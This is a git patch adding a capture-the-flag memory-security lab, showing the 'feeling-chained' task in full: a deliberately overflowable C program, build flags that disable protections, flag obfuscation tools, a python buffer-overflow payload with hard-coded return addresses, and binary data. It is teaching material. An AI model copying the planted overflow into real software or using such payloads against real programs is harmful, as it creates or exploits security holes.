From 3b5728280234690f3727f99b63736babcc324a0f Mon Sep 17 00:00:00 2001
From: Dimitrie Valu <valu.d54@gmail.com>
Date: Thu, 29 Aug 2024 05:30:38 +0300
Subject: [PATCH] chapters/memory-security/ctf: Add CTF lab

This commit adds the adapted material, including references and sentence
rephrasing for enhanced readability, as well as solution writeups.

Signed-off-by: Dimitrie Valu <valu.d54@gmail.com>
---
 .../drills/tasks/feeling-chained/README.md    |   7 ++
 .../tasks/feeling-chained/solution/Makefile   |  23 +++++
 .../tasks/feeling-chained/solution/README.md  |   9 ++
 .../feeling-chained/solution/buff-ovf3.c      |  85 +++++++++++++++++
 .../feeling-chained/solution/deobfuscator.c   |  65 +++++++++++++
 .../feeling-chained/solution/obfuscator.c     |  46 +++++++++
 .../tasks/feeling-chained/solution/solve.sh   |   6 ++
 .../tasks/feeling-chained/support/buff-ovf3   | Bin 0 -> 19776 bytes
 .../tasks/hidden-in-plain-sight-1/README.md   |   7 ++
 .../hidden-in-plain-sight-1/solution/Makefile |  25 +++++
 .../solution/README.md                        |  11 +++
 .../solution/deobfuscator.c                   |  65 +++++++++++++
 .../hidden-in-plain-sight-1/solution/link.c   |  36 +++++++
 .../hidden-in-plain-sight-1/solution/main.c   |   9 ++
 .../solution/obfuscator.c                     |  46 +++++++++
 .../hidden-in-plain-sight-1/support/link      | Bin 0 -> 4832 bytes
 .../tasks/hidden-in-plain-sight-2/README.md   |   7 ++
 .../hidden-in-plain-sight-2/solution/Makefile |  25 +++++
 .../solution/README.md                        |  30 ++++++
 .../solution/deobfuscator.c                   |  65 +++++++++++++
 .../hidden-in-plain-sight-2/solution/link.c   |  43 +++++++++
 .../hidden-in-plain-sight-2/solution/main.c   |   9 ++
 .../solution/obfuscator.c                     |  46 +++++++++
 .../hidden-in-plain-sight-2/support/link2     | Bin 0 -> 5124 bytes
 .../drills/tasks/indirect-business/README.md  |   8 ++
 .../tasks/indirect-business/solution/Makefile |  23 +++++
 .../indirect-business/solution/README.md      |   8 ++
 .../indirect-business/solution/buff-ovf.c     |  61 ++++++++++++
 .../indirect-business/solution/deobfuscator.c |  65 +++++++++++++
 .../indirect-business/solution/obfuscator.c   |  46 +++++++++
 .../tasks/indirect-business/solution/solve.sh |   3 +
 .../tasks/indirect-business/support/buff-ovf  | Bin 0 -> 19560 bytes
 .../ctf/drills/tasks/look-at-him-go/README.md |   7 ++
 .../tasks/look-at-him-go/solution/Makefile    |  23 +++++
 .../tasks/look-at-him-go/solution/README.md   |  19 ++++
 .../look-at-him-go/solution/deobfuscator.c    |  65 +++++++++++++
 .../tasks/look-at-him-go/solution/dynamic.c   |  89 ++++++++++++++++++
 .../look-at-him-go/solution/obfuscator.c      |  46 +++++++++
 .../tasks/look-at-him-go/support/dynamic      | Bin 0 -> 19664 bytes
 .../ctf/drills/tasks/playing-god/README.md    |   6 ++
 .../tasks/playing-god/solution/Makefile       |  23 +++++
 .../tasks/playing-god/solution/README.md      |  10 ++
 .../tasks/playing-god/solution/deobfuscator.c |  65 +++++++++++++
 .../tasks/playing-god/solution/obfuscator.c   |  46 +++++++++
 .../drills/tasks/playing-god/solution/vuln.c  |  55 +++++++++++
 .../drills/tasks/playing-god/support/dynamic2 | Bin 0 -> 19264 bytes
 .../drills/tasks/rip-my-buffers-off/README.md |   6 ++
 .../rip-my-buffers-off/solution/Makefile      |  23 +++++
 .../rip-my-buffers-off/solution/README.md     |   8 ++
 .../rip-my-buffers-off/solution/buff-ovf2.c   |  61 ++++++++++++
 .../solution/deobfuscator.c                   |  65 +++++++++++++
 .../rip-my-buffers-off/solution/obfuscator.c  |  46 +++++++++
 .../rip-my-buffers-off/solution/solve.sh      |   3 +
 .../rip-my-buffers-off/support/buff-ovf2      | Bin 0 -> 19748 bytes
 .../ctf/drills/tasks/rop/README.md            |  11 +++
 .../ctf/drills/tasks/rop/solution/Makefile    |  23 +++++
 .../ctf/drills/tasks/rop/solution/README.md   |  18 ++++
 .../drills/tasks/rop/solution/deobfuscator.c  |  65 +++++++++++++
 .../drills/tasks/rop/solution/obfuscator.c    |  46 +++++++++
 .../ctf/drills/tasks/rop/solution/rop.c       |  64 +++++++++++++
 .../ctf/drills/tasks/rop/solution/solve.sh    |   3 +
 .../ctf/drills/tasks/rop/support/rop          | Bin 0 -> 21520 bytes
 .../memory-security/ctf/media/rop-anatomy.svg |   4 +
 chapters/memory-security/ctf/reading/rop.md   |  47 +++++++++
 config.yaml                                   |  14 +++
 65 files changed, 1840 insertions(+)
 create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile
 create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c
 create mode 100755 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh
 create mode 100755 chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/obfuscator.c
 create mode 100755 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/deobfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/obfuscator.c
 create mode 100755 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2
 create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile
 create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/deobfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/obfuscator.c
 create mode 100755 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/solve.sh
 create mode 100755 chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf
 create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/Makefile
 create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/deobfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/dynamic.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/obfuscator.c
 create mode 100755 chapters/memory-security/ctf/drills/tasks/look-at-him-go/support/dynamic
 create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/Makefile
 create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/deobfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/obfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/vuln.c
 create mode 100755 chapters/memory-security/ctf/drills/tasks/playing-god/support/dynamic2
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/Makefile
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/buff-ovf2.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/deobfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/obfuscator.c
 create mode 100755 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/solve.sh
 create mode 100755 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/support/buff-ovf2
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/Makefile
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/README.md
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/deobfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/obfuscator.c
 create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/rop.c
 create mode 100755 chapters/memory-security/ctf/drills/tasks/rop/solution/solve.sh
 create mode 100755 chapters/memory-security/ctf/drills/tasks/rop/support/rop
 create mode 100644 chapters/memory-security/ctf/media/rop-anatomy.svg
 create mode 100644 chapters/memory-security/ctf/reading/rop.md

diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md b/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md
new file mode 100644
index 00000000..276edea3
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md
@@ -0,0 +1,7 @@
+# Feeling Chained
+
+Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`.
+Identify the necessary ones and... you already know how to call them.
+
+If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack.
+The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant.
diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile
new file mode 100644
index 00000000..a83f61ab
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile
@@ -0,0 +1,23 @@
+CC = gcc
+CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m32
+SRC_DIR = .
+TARGET = buff-ovf3
+OBJ = buff-ovf3.o
+
+all: $(TARGET)
+
+obfuscator: $(SRC_DIR)/obfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+deobfuscator: $(SRC_DIR)/deobfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+$(TARGET): $(OBJ)
+	$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
+
+$(OBJ): $(SRC_DIR)/buff-ovf3.c
+	$(CC) $(CFLAGS) -c $(SRC_DIR)/buff-ovf3.c
+
+clean:
+	rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator
diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md
new file mode 100644
index 00000000..46a2386f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md
@@ -0,0 +1,9 @@
+# Solution
+
+By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters.
+`f3` is the one that actually calls `get_flag()`.
+Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made).
+
+```sh
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3
+```
diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c
new file mode 100644
index 00000000..85b93105
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c
@@ -0,0 +1,85 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+#define MAXC 1000
+
+static int my_global_var;
+static int my_other_global_var;
+
+void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	if (my_other_global_var != 0x7890) {
+		printf("You're cheating, mate. Try harder\n");
+		return;
+	}
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x4a\x37"
+			 "\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x58\x39\x40\x35\x6f\x25\x43"
+			 "\x31\x70\x6d\x71\x56\x1e\x0a\x11\x32\x61\x07\x64\x25\x0b\x4c\x31"
+			 "\x0b\x43\x07\x0f\x7c\x4c\x0a\x6b\x37\x1d\x6c\x09\x70\x6a\x54\x5b"
+			 "\x2d\x5d\x1a\x46\x31\x70\x24\x2b\x51\x2c\x6d\x06\x16\x47\x70\x4b"
+			 "\x71";
+
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}
+
+void f3(int x)
+{
+	if (x == 13 && my_global_var == 0x1234) {
+		my_other_global_var = 0x7890;
+		get_flag();
+	} else {
+		printf("You missed something\n");
+	}
+}
+
+void f2(void)
+{
+	printf("I dont do nothing\n");
+}
+
+void f1(int a, int b)
+{
+	if (a + b == 69) {
+		printf("You're doing great\n");
+		my_global_var = 0x1234;
+	} else {
+		printf("You got the params wrong\n");
+	}
+}
+
+void gateway(void)
+{
+	char buff1[10];
+
+	fgets(buff1, 300, stdin);
+}
+
+int main(void)
+{
+	gateway();
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c
new file mode 100644
index 00000000..1bb4796f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c
new file mode 100644
index 00000000..f4583006
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *s_obfuscated = obfuscate(s);
+	unsigned char *p = s_obfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
+		++p;
+	}
+
+	free(s_obfuscated);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh
new file mode 100755
index 00000000..ff8d8efd
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh
@@ -0,0 +1,6 @@
+#!/bin/bash
+# SPDX-License-Identifier: BSD-3-Clause
+
+python3 -c \
+    'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' \
+    ../support/buff-ovf3
diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 b/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3
new file mode 100755
index 0000000000000000000000000000000000000000..5a2fba0f39cb916b1aa11ab585fd5ee3c7a84046
GIT binary patch
literal 19776
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
